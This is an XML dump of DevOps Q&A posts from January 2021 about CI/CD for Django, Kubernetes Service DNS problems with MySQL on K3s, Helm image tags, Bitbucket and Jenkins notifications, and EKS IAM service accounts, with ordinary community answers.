  <row Id="40771" PostHistoryTypeId="2" PostId="13239" RevisionGUID="f52ddec9-4b53-46f0-8f0a-af667741ece3" CreationDate="2021-01-27T12:39:47.750" UserId="25811" Text="I have made a web application in django. Currently I'm deploying by SSH'ing into my ubuntu instance at AWS and using git pull.&#xD;&#xA;However  I know this isn't a very scaleable solution but I have very limited knowledge of DevOps.&#xD;&#xA;So, my question is if anyone could recomend which applications I need to use to achieve the following:&#xD;&#xA;&#xD;&#xA;- I can launch more instances with just a click (probably Docker if I've understood it?)&#xD;&#xA;- When I git push by project, all running servers pull and run migrations and reboot." ContentLicense="CC BY-SA 4.0" />
  <row Id="40772" PostHistoryTypeId="1" PostId="13239" RevisionGUID="f52ddec9-4b53-46f0-8f0a-af667741ece3" CreationDate="2021-01-27T12:39:47.750" UserId="25811" Text="Deply method for python project" ContentLicense="CC BY-SA 4.0" />
  <row Id="40773" PostHistoryTypeId="3" PostId="13239" RevisionGUID="f52ddec9-4b53-46f0-8f0a-af667741ece3" CreationDate="2021-01-27T12:39:47.750" UserId="25811" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40774" PostHistoryTypeId="2" PostId="13240" RevisionGUID="c194899d-d363-4d56-8527-6293ec4f2152" CreationDate="2021-01-27T13:40:02.970" UserId="3175" Text="What you're looking for is a CI/CD pipeline.  There's lots of articles around it, but the main steps would be as follows:&#xD;&#xA;&#xD;&#xA;1. Some form of build artifact (it can be a docker container, but it can also be a tarball, or just code in a git repo).&#xD;&#xA;&#xD;&#xA;2. Some way to automatically deploy your code.  This is done by using a CI/CD tool (literally any of them will work fine, but for the love of god, don't use Jenkins, you'll thank me later).  &#xD;&#xA;&#xD;&#xA;For something as simple as how you describe your app, you can just use a CICD tool to SSH in and deploy to your existing server.&#xD;&#xA;&#xD;&#xA;For example, CircleCI (one of my favourite tools and what we use at my current job), has a free tier that gives you 2500 minutes of build time a month.  It also has an [SSH orb][1] you can include in your pipeline configuration that will SSH into your server and run a few commands to pull down the latest code and restart your server.&#xD;&#xA;&#xD;&#xA;Here is a good [Getting Started guide][2] that should get you up and running with Circle.&#xD;&#xA;&#xD;&#xA;If you'd like to start using docker, here is a [good guide][3] on how to run your Django app with it.  From there, you would need to set up a Dockerhub account and push your docker image there, to be deployed on a server.  Note you'll have to make sure you can configure your application through environment variables.  It's never a good idea to have an artifact with &quot;baked in&quot; configuration, since this method doesn't scale in any real way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/developer/orbs/orb/arturgontijo/ssh-deployment&#xD;&#xA;  [2]: https://circleci.com/docs/2.0/getting-started/&#xD;&#xA;  [3]: https://docs.docker.com/compose/django/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40778" PostHistoryTypeId="5" PostId="11719" RevisionGUID="594c94ed-3a71-4467-a293-1def4d9a2cd8" CreationDate="2021-01-27T16:57:58.230" UserId="12147" Comment="added 5 characters in body" Text="I have installed K3S kubernetes on rasbian, and created a following mysql deployment on it:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-data&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Gi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-config&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Mi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-log&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Gi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql&#xD;&#xA;      labels:&#xD;&#xA;        app: mysql&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 3306&#xD;&#xA;        name: mysql&#xD;&#xA;        targetPort: 3306&#xD;&#xA;      selector:&#xD;&#xA;        app: mysql&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-nodeport&#xD;&#xA;    spec:&#xD;&#xA;      type: NodePort&#xD;&#xA;      selector:&#xD;&#xA;        app: mysql&#xD;&#xA;      ports:&#xD;&#xA;          # By default and for convenience, the `targetPort` is set to the same value as the `port` field.&#xD;&#xA;        - port: 3306&#xD;&#xA;          targetPort: 3306&#xD;&#xA;          # Optional field&#xD;&#xA;          # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767)&#xD;&#xA;          nodePort: 30036&#xD;&#xA;     &#xD;&#xA;    ---&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: mysql&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: mysql&#xD;&#xA;        spec:&#xD;&#xA;          securityContext:&#xD;&#xA;            fsGroup: 999 &#xD;&#xA;          containers:&#xD;&#xA;          - name: mysql&#xD;&#xA;            image: hypriot/rpi-mysql:latest&#xD;&#xA;            imagePullPolicy: &quot;IfNotPresent&quot;&#xD;&#xA;            env:&#xD;&#xA;            - name: MYSQL_ROOT_PASSWORD&#xD;&#xA;              value: mypassword&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 3306&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - mountPath: /var/lib/mysql&#xD;&#xA;              name: mysql-data&#xD;&#xA;            - mountPath: /var/log/mysql&#xD;&#xA;              name: mysql-log&#xD;&#xA;            - mountPath: /etc/mysql&#xD;&#xA;              name: mysql-config&#xD;&#xA;          volumes:&#xD;&#xA;          - name: mysql-data&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-data&#xD;&#xA;          - name: mysql-config&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-config&#xD;&#xA;          - name: mysql-log&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-log&#xD;&#xA;          nodeSelector:&#xD;&#xA;            mysql: master &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I cannot access mysql by the above definied service:&#xD;&#xA;&#xD;&#xA;I have checked the mysql service is accessable:&#xD;&#xA;&#xD;&#xA;    sudo kubectl exec -it mysql-d6656577c-6rdzr bash&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/localhost/3306&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo $?&#xD;&#xA;    0&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/mysql-d6656577c-6rdzr/3306&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo $?&#xD;&#xA;&#xD;&#xA;0&#xD;&#xA;&#xD;&#xA;But the service is not working:&#xD;&#xA;&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/mysql/3306&#xD;&#xA;    bash: mysql: Name or service not known&#xD;&#xA;    bash: /dev/tcp/mysql/3306: Invalid argument&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Service description:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo kubectl describe svc mysql&#xD;&#xA;    Name:              mysql&#xD;&#xA;    Namespace:         default&#xD;&#xA;    Labels:            app=mysql&#xD;&#xA;    Annotations:       kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                         {&quot;apiVersion&quot;:&quot;v1&quot;,&quot;kind&quot;:&quot;Service&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;labels&quot;:{&quot;app&quot;:&quot;mysql&quot;},&quot;name&quot;:&quot;mysql&quot;,&quot;namespace&quot;:&quot;default&quot;},&quot;spec&quot;:{&quot;p...&#xD;&#xA;    Selector:          app=mysql&#xD;&#xA;    Type:              ClusterIP&#xD;&#xA;    IP:                10.43.58.35&#xD;&#xA;    Port:              mysql  3306/TCP&#xD;&#xA;    TargetPort:        3306/TCP&#xD;&#xA;    Endpoints:         10.42.0.161:3306&#xD;&#xA;    Session Affinity:  None&#xD;&#xA;    Events:            &lt;none&gt;&#xD;&#xA;&#xD;&#xA;Core DNS logs:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo kubectl logs -f coredns-d798c9dd-npbj4 --namespace=kube-system&#xD;&#xA;    .:53&#xD;&#xA;    [INFO] plugin/reload: Running configuration MD5 = 4665410bf21c8b272fcfd562c482cb82&#xD;&#xA;       ______                ____  _   _______&#xD;&#xA;      / ____/___  ________  / __ \/ | / / ___/	~ CoreDNS-1.6.3&#xD;&#xA;     / /   / __ \/ ___/ _ \/ / / /  |/ /\__ \ 	~ linux/arm, go1.12.9, 37b9550&#xD;&#xA;    / /___/ /_/ / /  /  __/ /_/ / /|  /___/ / &#xD;&#xA;    \____/\____/_/   \___/_____/_/ |_//____/  &#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:34250-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:47752-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:57505-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:51583-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39172-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39568-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39343-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:40929-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:43962-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:47330-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I cannot understand this, because 8.8.8.8 is accessable from host raspberry pi and 8.8.8.8 not contains local dns names (for instance: mysql)&#xD;&#xA;&#xD;&#xA;    ping 8.8.8.8&#xD;&#xA;    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=10.10 ms&#xD;&#xA;    64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=11.3 ms&#xD;&#xA;&#xD;&#xA;What can be the problem? Why I cannot access mysql?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40779" PostHistoryTypeId="2" PostId="13242" RevisionGUID="eeeaa086-2868-4505-a8b4-acd10c43c6bf" CreationDate="2021-01-27T17:45:55.657" UserId="25822" Text="Currently I have a k8s project with multiple services which are managed by a helm chart. Said helm chart is installed on my local machine and I want to keep it this way if it's possible. But now I need to provide a simple user-friendly way to change versions of some service's docker images for other people. I was thinking about creating a jenkins task which would allow changing &quot;image&quot; field for those services, but it would create conflicts with my helm release: next time I update something with helm, it would rollback jenkins &quot;image&quot; field changes to the values in my helm chart.&#xD;&#xA;&#xD;&#xA;Is there a simple way to resolve this conflict, like saying helm not to change &quot;image&quot; field? If not, how can I continue using helm for project configuration while allowing &quot;image&quot; field changes from jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40780" PostHistoryTypeId="1" PostId="13242" RevisionGUID="eeeaa086-2868-4505-a8b4-acd10c43c6bf" CreationDate="2021-01-27T17:45:55.657" UserId="25822" Text="Is there a way to combine helm with some other tool for k8s configuration management without conflicts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40781" PostHistoryTypeId="3" PostId="13242" RevisionGUID="eeeaa086-2868-4505-a8b4-acd10c43c6bf" CreationDate="2021-01-27T17:45:55.657" UserId="25822" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;deployment&gt;&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40783" PostHistoryTypeId="2" PostId="13243" RevisionGUID="1c379fb5-ccf8-4156-9be5-d33ac79fbc34" CreationDate="2021-01-27T21:32:42.100" UserId="19147" Text="I have a current bitbucket-pipelines.yml file structured like this, &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    image: openjdk:11.0.1&#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - bash ./gradlew build&#xD;&#xA;&#xD;&#xA;This runs okay, However I want to add a notification to be sent on build failure and on success including the last commit user name in the message, I am not at expert at this so any help would be highly appreciated. (Also any good book for bitbucket yml pipelines suggestion would be highly appreciated)&#xD;&#xA;&#xD;&#xA;Assume I have the webhook url from slack. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40784" PostHistoryTypeId="1" PostId="13243" RevisionGUID="1c379fb5-ccf8-4156-9be5-d33ac79fbc34" CreationDate="2021-01-27T21:32:42.100" UserId="19147" Text="how to send build and failure slack notifications via a configured bitbucket-pipelines.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="40785" PostHistoryTypeId="3" PostId="13243" RevisionGUID="1c379fb5-ccf8-4156-9be5-d33ac79fbc34" CreationDate="2021-01-27T21:32:42.100" UserId="19147" Text="&lt;bitbucket&gt;&lt;bitbucket-pipelines&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40786" PostHistoryTypeId="2" PostId="13244" RevisionGUID="2ed693c5-462e-4451-b787-ab545d9d48e7" CreationDate="2021-01-27T23:56:32.540" UserId="25827" Text="I have a node in AKS that runs absolutely nothing, is cordoned and drained.&#xD;&#xA;&#xD;&#xA;However, when I do `kubectl top nodes` it shows as using 25% RAM.&#xD;&#xA;&#xD;&#xA;This is already on top of RAM that the VM has but is not available inside the cluster.&#xD;&#xA;&#xD;&#xA;Any idea why is this?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="40787" PostHistoryTypeId="1" PostId="13244" RevisionGUID="2ed693c5-462e-4451-b787-ab545d9d48e7" CreationDate="2021-01-27T23:56:32.540" UserId="25827" Text="Why does empty node show as utilising 25% RAM in top nodes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40788" PostHistoryTypeId="3" PostId="13244" RevisionGUID="2ed693c5-462e-4451-b787-ab545d9d48e7" CreationDate="2021-01-27T23:56:32.540" UserId="25827" Text="&lt;kubernetes&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40789" PostHistoryTypeId="2" PostId="13245" RevisionGUID="4f673244-e460-412e-9d52-6428fd064333" CreationDate="2021-01-28T07:36:09.110" UserId="3175" Text="Helm isn't made to be used this way.  If you'd prefer to use a static deployment, you're better off using a plain Kubernetes manifest.  Then, people changing the image field won't break your release.&#xD;&#xA;&#xD;&#xA;You can easily convert it to one simply by running [helm get manifest][1] command&#xD;&#xA;&#xD;&#xA;Helm is used to manage release versions.  I.e. every new release (and a docker image change definitely qualifies as one), you would push a change to your helm chart.&#xD;&#xA;&#xD;&#xA;The other alternative you have is defining docker image as a value.  Then you can pass a command-line argument to replace the image tag with a new one and re-run helm from Jenkins any time you have a new deploy.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;in values.yaml:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;image: &#xD;&#xA;  repo: foo&#xD;&#xA;  tag: bar&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On command line when running helm:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm upgrade --install my-app --set image.tag=newtag&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Final, and least recommended way is to use a mutable tag (i.e. &quot;master&quot;) and set your `ImagePullPolicy` to `Always`.  This way, when you have a deploy, you just need to bounce all the pods in your deployment/daemonset/statefulset object.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/docs/helm/helm_get_manifest/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40790" PostHistoryTypeId="2" PostId="13246" RevisionGUID="a29a6f0c-a540-4f38-9cfd-e132259362fa" CreationDate="2021-01-28T09:18:23.307" UserId="25401" Text="AWS supports [IAM Roles for Service Accounts (IRSA)][1] that allows cluster operators to map AWS IAM Roles to Kubernetes Service Accounts.&#xD;&#xA;&#xD;&#xA;To do so, one has to create an [iamserviceaccount][2] in an EKS cluster:&#xD;&#xA;&#xD;&#xA;    eksctl create iamserviceaccount \&#xD;&#xA;        --name &lt;AUTOSCALER_NAME&gt; \&#xD;&#xA;        --namespace kube-system \&#xD;&#xA;        --cluster &lt;CLUSTER_NAME&gt; \&#xD;&#xA;        --attach-policy-arn &lt;POLICY_ARN&gt; \&#xD;&#xA;        --approve \&#xD;&#xA;        --override-existing-serviceaccounts&#xD;&#xA;&#xD;&#xA;The problem is that I don't want to use the above `eksctl` command because I want to declare my infrastructure using `terraform`.&#xD;&#xA;&#xD;&#xA;How can I declare the `iamserviceaccount` in `terraform`? Is there any implementation of that in `YAML`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html&#xD;&#xA;  [2]: https://eksctl.io/usage/iamserviceaccounts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40791" PostHistoryTypeId="1" PostId="13246" RevisionGUID="a29a6f0c-a540-4f38-9cfd-e132259362fa" CreationDate="2021-01-28T09:18:23.307" UserId="25401" Text="How to declare an &quot;iamserviceaccount&quot; on an EKS cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40792" PostHistoryTypeId="3" PostId="13246" RevisionGUID="a29a6f0c-a540-4f38-9cfd-e132259362fa" CreationDate="2021-01-28T09:18:23.307" UserId="25401" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;aws-iam&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40793" PostHistoryTypeId="2" PostId="13247" RevisionGUID="614f6c4d-042a-47f5-b55f-d9572238c6bf" CreationDate="2021-01-28T10:48:54.980" UserId="25831" Text="I would like to know how to configure Bitbucket Build Status Notifier Jenkins plugin to connect to BitBucket Cloud for Pipeline projects.&#xD;&#xA;&#xD;&#xA;Basic instructions are here, on a plugin homepage: https://plugins.jenkins.io/bitbucket-build-status-notifier/&#xD;&#xA;&#xD;&#xA;However, following those instructions yield successful call from Jenkins like:&#xD;&#xA;&#xD;&#xA;&gt; Sending build status INPROGRESS for commit dd4535c01718552b76d6e7f9568ad89bf2dd860b to BitBucket is done!&#xD;&#xA;&#xD;&#xA;But on BitBucket Clould side there is no effect whatsoever.&#xD;&#xA;&#xD;&#xA;I have tried basic call from documentation:&#xD;&#xA;&#xD;&#xA;&gt; bitbucketStatusNotify(buildState: 'INPROGRESS')&#xD;&#xA;&#xD;&#xA;No effect.&#xD;&#xA;&#xD;&#xA;Then I have tried, based on this site answer (https://devops.stackexchange.com/questions/2422/why-does-the-jenkins-bitbucket-build-status-notifier-plugin-post-the-status-to-t?newreg=e020e4c925ed4118b814c57c1f2d91be):&#xD;&#xA;&#xD;&#xA;&gt;       bitbucketStatusNotify(&#xD;&#xA;&gt;                buildState: 'INPROGRESS',&#xD;&#xA;&gt;                repoSlug: 'repoSlug aka repositoryName, e.g. some-app',&#xD;&#xA;&gt;                commitId: env.GIT_COMMIT&#xD;&#xA;&gt;       )&#xD;&#xA;&#xD;&#xA;Again, no effect.&#xD;&#xA;&#xD;&#xA;Then I have tried something on my own (various variants of this):&#xD;&#xA;&#xD;&#xA;&gt;        bitbucketStatusNotify(&#xD;&#xA;&gt;          buildState: 'INPROGRESS',&#xD;&#xA;&gt;          buildDescription: &quot;${env.JOB_NAME}&quot;,&#xD;&#xA;&gt;          buildKey: &quot;${env.BUILD_NUMBER}&quot;,&#xD;&#xA;&gt;          buildName: &quot;${env.JOB_BASE_NAME}&quot;,&#xD;&#xA;&gt;          repoSlug: &quot;my-repo-name&quot;,//BitBucket Cloud repo name (last part of repo url)&#xD;&#xA;&gt;          commitId: env.GIT_COMMIT    &#xD;&#xA;&gt;        )&#xD;&#xA;&#xD;&#xA;And again no effect. I think there is something with data. So if I would sent &quot;the right&quot; data would be OK? Can someone tell me what I am doing wrong? What BitBucket Cloud API expects to get?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40794" PostHistoryTypeId="1" PostId="13247" RevisionGUID="614f6c4d-042a-47f5-b55f-d9572238c6bf" CreationDate="2021-01-28T10:48:54.980" UserId="25831" Text="How to configure Bitbucket Build Status Notifier Jenkins plugin to connect to BitBucket Cloud for Pipeline projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="40795" PostHistoryTypeId="3" PostId="13247" RevisionGUID="614f6c4d-042a-47f5-b55f-d9572238c6bf" CreationDate="2021-01-28T10:48:54.980" UserId="25831" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40796" PostHistoryTypeId="5" PostId="13246" RevisionGUID="8f7c099c-ea29-4aa9-b5e8-9f37d03820d4" CreationDate="2021-01-28T11:06:09.303" UserId="25401" Comment="added 153 characters in body" Text="AWS supports [IAM Roles for Service Accounts (IRSA)][1] that allows cluster operators to map AWS IAM Roles to Kubernetes Service Accounts.&#xD;&#xA;&#xD;&#xA;To do so, one has to create an [iamserviceaccount][2] in an EKS cluster:&#xD;&#xA;&#xD;&#xA;    eksctl create iamserviceaccount \&#xD;&#xA;        --name &lt;AUTOSCALER_NAME&gt; \&#xD;&#xA;        --namespace kube-system \&#xD;&#xA;        --cluster &lt;CLUSTER_NAME&gt; \&#xD;&#xA;        --attach-policy-arn &lt;POLICY_ARN&gt; \&#xD;&#xA;        --approve \&#xD;&#xA;        --override-existing-serviceaccounts&#xD;&#xA;&#xD;&#xA;The problem is that I don't want to use the above `eksctl` command because I want to declare my infrastructure using `terraform`.&#xD;&#xA;&#xD;&#xA;Does eksctl command do anything other than creating a service account? If it only creates a service account, what is the `YAML` representation of it?&#xD;&#xA;&#xD;&#xA;How can I declare the `iamserviceaccount` in `terraform`? Is there any implementation of that in `YAML`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html&#xD;&#xA;  [2]: https://eksctl.io/usage/iamserviceaccounts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40797" PostHistoryTypeId="2" PostId="13248" RevisionGUID="e1bcb756-104a-42f4-9afc-f0a6340f7866" CreationDate="2021-01-28T11:47:30.203" UserId="17811" Text="Have you thought about what happen with stale/old data??&#xD;&#xA;- Each new version creates a ton of new entries.&#xD;&#xA;- Management becomes a nightmare&#xD;&#xA;- the DB becomes a SPOF(single point of failure).&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Better Solution: Service discovery&#xD;&#xA;&#xD;&#xA;The better solution would be to use a Service discovery System and annote each Service with their version and the environment as a Metadata tag. This keeps the System more manageble." ContentLicense="CC BY-SA 4.0" />
  <row Id="40798" PostHistoryTypeId="5" PostId="13246" RevisionGUID="e6fb13b5-5a4a-4af5-a895-0e3a2a19fd15" CreationDate="2021-01-28T12:15:14.527" UserId="25401" Comment="deleted 108 characters in body; edited title" Text="AWS supports [IAM Roles for Service Accounts (IRSA)][1] that allows cluster operators to map AWS IAM Roles to Kubernetes Service Accounts.&#xD;&#xA;&#xD;&#xA;To do so, one has to create an [iamserviceaccount][2] in an EKS cluster:&#xD;&#xA;&#xD;&#xA;    eksctl create iamserviceaccount \&#xD;&#xA;        --name &lt;AUTOSCALER_NAME&gt; \&#xD;&#xA;        --namespace kube-system \&#xD;&#xA;        --cluster &lt;CLUSTER_NAME&gt; \&#xD;&#xA;        --attach-policy-arn &lt;POLICY_ARN&gt; \&#xD;&#xA;        --approve \&#xD;&#xA;        --override-existing-serviceaccounts&#xD;&#xA;&#xD;&#xA;The problem is that I don't want to use the above `eksctl` command because I want to declare my infrastructure using `terraform`.&#xD;&#xA;&#xD;&#xA;Does eksctl command do anything other than creating a service account? If it only creates a service account, what is the `YAML` representation of it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html&#xD;&#xA;  [2]: https://eksctl.io/usage/iamserviceaccounts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40799" PostHistoryTypeId="4" PostId="13246" RevisionGUID="e6fb13b5-5a4a-4af5-a895-0e3a2a19fd15" CreationDate="2021-01-28T12:15:14.527" UserId="25401" Comment="deleted 108 characters in body; edited title" Text="What does &quot;eksctl create iamserviceaccount&quot; do under the hood on an EKS cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40800" PostHistoryTypeId="2" PostId="13249" RevisionGUID="2fc8b75f-d9ec-42cc-bbc5-cab37a75d16d" CreationDate="2021-01-28T12:22:18.583" UserId="25401" Text="Yes It does more than just creating a service account. It does three things:&#xD;&#xA;&#xD;&#xA; 1. It Creates an IAM role.&#xD;&#xA; 2. It attaches the desired iam-policy (--attach-policy-arn&#xD;&#xA;    &lt;POLICY_ARN&gt;) to the created IAM role.&#xD;&#xA; 3. It creates a new kubernetes service account annotated with the arn of the created IAM role.&#xD;&#xA;&#xD;&#xA;Now It's easy to declare the above steps using kubernetes provider in terraform." ContentLicense="CC BY-SA 4.0" />
  <row Id="40801" PostHistoryTypeId="2" PostId="13250" RevisionGUID="6b0d24b7-3668-4b33-910c-45c21fce4e05" CreationDate="2021-01-28T15:06:48.503" UserId="3175" Text="Simplest answer is to just revert the commit.  AWS Code Commit is standard Git and will support everything Git allows you to do.&#xD;&#xA;&#xD;&#xA;I.e. find commit hash:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git log -n1&#xD;&#xA;commit 444c954e458cc446e2a7a1f2659adf71bdf55580 (HEAD -&gt; my-branch, origin/my-branch)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then do the revert:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;git revert 444c954e458cc446e2a7a1f2659adf71bdf55580&#xD;&#xA;git push&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It'll revert your repo to whatever state it would be without that specific commit.  Note that if you have other commits that modified the same files afterward, you will have a merge conflict and will have to fix them manually." ContentLicense="CC BY-SA 4.0" />
  <row Id="40802" PostHistoryTypeId="2" PostId="13251" RevisionGUID="fdc2588e-4092-4f87-b49e-152c45b5f565" CreationDate="2021-01-28T15:13:46.380" UserId="3175" Text="Docker compose is still a comparatively easy and light-weight to run multiple docker containers with service discovery.&#xD;&#xA;&#xD;&#xA;Kubernetes is a metaphorical elephant.  Great if you need to smash Roman lines and win the battle, but overkill for a minor skirmish, and definitely more trouble than it's worth if you're trying to fight a small battle in the mountains.&#xD;&#xA;&#xD;&#xA;If you have a fairly large app with multiple microservices, then Kubernetes is worth every penny.&#xD;&#xA;&#xD;&#xA;But when you're trying to run just a couple of containers, especially if it's only on a single host (i.e. your frontend + backend and maybe a local instance of RabbitMQ), docker-compose is a much simpler/faster way to orchestrate it.  Kubernetes is like using a cannon to kill a mosquito when a flyswatter will do.&#xD;&#xA;&#xD;&#xA;Example use cases where docker-compose works just fine:&#xD;&#xA;&#xD;&#xA;* Local development environments running on your machine.  Even if you run Kubernetes in production, there's likely a lot of orchestration around getting it to work which would make it too complex for a single machine.&#xD;&#xA;* Simple apps without a lot of components&#xD;&#xA;* Single tenant apps which run on a single host&#xD;&#xA;* Deploying docker-based apps on bare VMs or physical hosts" ContentLicense="CC BY-SA 4.0" />
